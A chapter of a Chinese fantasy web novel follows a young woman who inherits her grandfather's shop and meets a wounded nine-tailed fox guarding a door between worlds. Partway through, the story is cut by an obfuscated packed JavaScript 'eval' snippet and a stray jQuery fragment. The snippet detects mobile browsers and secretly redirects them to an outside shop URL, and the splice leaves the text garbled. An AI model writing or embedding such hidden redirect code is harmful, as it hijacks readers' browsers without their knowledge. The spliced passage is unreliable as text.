深夜十一点,锦华小区后巷的“林记超市”还亮着灯。
林小满蹲在仓库角落里,手电筒光柱扫过满地积灰的纸箱。三天前爷爷去世,给她留了这间四十平、门头招牌掉了一半的破超市。她本来在投简历找工作,现在倒好——直接就业了。
“谁会继承一家月亏损三千的店啊。”
她掀开一个纸箱,里面全是过期泡面,气得翻白眼。突然手电筒闪了两下,灭了。仓库尽头那扇锈迹斑斑的铁门缝隙里,透出一丝幽蓝色的光。
林小满愣住。
那扇门她记得,以前爷爷总锁着不让碰,说是“杂物间”。可现在看来,里面绝对没有通电,门缝里却漏着光。
鬼使神差地,她走过去,握住门把手。铁门冰凉刺骨,指尖刚碰上去,门背后传来一声闷响——像是有什么庞然大物,一头撞在了门上。
“!”
林小满浑身汗毛倒竖,手一松往后跌坐在地。铁门被撞得哐当巨响,门缝开了一指宽,蓝色光芒喷涌而出,刺得她睁不开眼。紧接着,门缝里挤出一只毛茸茸的爪子——五指、覆着黑鳞、指甲锋利如刀,死死扣住门沿!
“卧槽——”
她连滚带爬往后缩,后背撞上货架,几个空箱子砸下来。铁门吱呀作响,门缝越来越大。那只爪子已经伸进了半截胳膊,肌肉虬结、青筋暴起,像某种爬行动物的前肢。
下一秒,一道白影从侧面闪过,长尾横扫。
砰!
铁门被重重拍回原位,爪子被夹得发出“咔嚓”一声骨裂脆响。门外传来一声低哑的嘶吼,随即安静了。
林小满大口喘气,额头全是冷汗。她抬头看过去,仓库昏暗灯光下,一个男人斜倚在铁门旁边,白衬衫、黑长裤,衣摆沾着灰尘。他右手还按在铁门上,指尖修长,指节微微泛白。
最醒目的是他身后垂着的那条尾巴——蓬松、雪白、尖端一点银灰色,正慢悠悠地摇晃。
“……你谁?”
林小满嗓子发干。
男人侧过头来。灯光照出他的脸——眼尾微挑,瞳孔是极淡的金色,鼻梁高挺,嘴唇抿着,下颌线干净利落。他用那双金瞳上下打量了她三秒钟,才淡淡开口:“你爷爷没告诉过你,这扇门不能乱碰?”
声音低沉,带着点沙哑,像刚睡醒又被吵了的猫。
林小满心跳还没平复下来:“我爷爷三天前去世了。”
男人微微一怔,随即尾巴晃了晃,语气淡了两分:“……是吗。”
空气安静了三秒。铁门背后又传来窸窸窣窣的响动,像什么东西在挠门板。
林小满条件反射往他身后缩了一步:“那爪子什么东西?!”
“黑蛟。”男人平静道,“地底货,智商不高,力气大,刚才闻到人味想出来。”他顿了顿,补了一句,“被门夹了,应该跑了。”
“你怎么知道?”
“我夹的。”
林小满张了张嘴,又闭上。她盯着他看了半天,终于注意到他衣摆上有暗褐色的痕迹,像是干涸的血。手腕处也有擦伤,衬衫袖口破了。
“……你受伤了?”
男人没回答,只是收回按在门上的手,转过身来。近看更显得高,肩宽腿长,白衬衫穿得散漫,领口松开两颗扣子。那条尾巴就在他身后轻轻摆着,像一只不耐烦的大猫。
“你爷爷在世时,”他说,“我住这仓库后面。”
林小满:“……”
“现在他走了,”他看了她一眼,“我暂时没地方去。”
“你要住我仓库?!”林小满脑子总算转过弯来了,“你到底是什么东西?”
他蹙了下眉,像是在斟酌措辞。最后吐出两个字:“狐狸。”
“狐狸精?”
“是狐狸。”他加重语气,“九尾狐。”
林小满:“你尾巴就一条。”
男人:“……”
他尾巴尖绷直了一瞬,又恢复懒洋洋的弧度:“……受伤了,收不回去。”
林小满看着他那条雪白蓬松的尾巴,再看看他手腕上的伤,再看看铁门缝里残留的蓝色微光。三秒后,她做了一个决定——她扶着货架站起来,拍了拍裤子灰,镇定地开口:
“行,你住仓库,但有个条件。”
“说。”
“帮忙看店。管吃管住,外加每月五百零花。”她指了指铁门,“顺便看住这玩意儿。”
男人沉默地盯着她看了好一会儿。仓库灯泡昏黄,他那一双金瞳在暗处微微发亮,像两粒融化的琥珀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636713|206604||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。半晌,他几不可闻地哼了一声。
“……成交。”
他说完就从她身侧走过去,步子很轻,拖着的尾巴几乎蹭到她的脚踝。擦肩而过时林小满闻到一股极淡的冷香,像雪后松枝。
她站在原地愣了五秒,忽然冲他背影喊了一句:“你叫什么?”
男人头也不回:“澜渊。”
“我叫林小满!”
他已经走进仓库深处的阴影里,尾巴尖最后晃了一下,算是回应。
林小满深吸一口气,回头看向那扇铁门。门缝里蓝光已经消散了,铁门安静得像什么也没发生过。但她看清了门框上刻着一行小字,像是爷爷用刀子划上去的——
“两界之门,永不可封。”
她后背一阵发凉。
就在这时,铁门背后传来一个细弱的声音,像小孩在哭:“……外面的人……还有关东煮吗……”
林小满:“……”
她默默把门锁扣上,转身就走。经过仓库门口时瞥见澜渊已经靠墙坐下,闭着眼,尾巴蜷在身侧。她鬼使神差从货架上拿了一瓶矿泉水和一包压缩饼干,蹲下去放在他旁边。
他没睁眼,只是尾巴尖轻轻动了动。
林小满站起来回前台,刚拉开抽屉想清点账本,手碰到一个硬东西——是爷爷留下的旧手机,屏幕亮着,上面有一条未发送的短信草稿,日期是三年前:
“小满,铁门里的客人,收费别太贵。”
她盯着那行字,心脏咚咚跳得飞快。
窗外有夜风吹过后巷,卷起几片落叶。与此同时,仓库深处的铁门又轻轻响了一声——不是撞击,更像敲门。三短一长。
澜渊的声音从暗处飘过来:“别开。它带了东西来换。”
林小满攥紧手机:“换什么?”
“情报。”他顿了一下,“关于这扇门为什么选中你。”
林小满站在超市前台,对着那扇铁门方向,握手机的指节发白。
门外传来第二声敲门——还是三短一长,比刚才急了一拍。
澜渊没再出声。
而她,慢慢抬起了手。
指尖悬在电灯开关上方,没有按下。整个仓库陷入一片寂静。铁门缝里,重新亮起一点极淡的蓝色微光。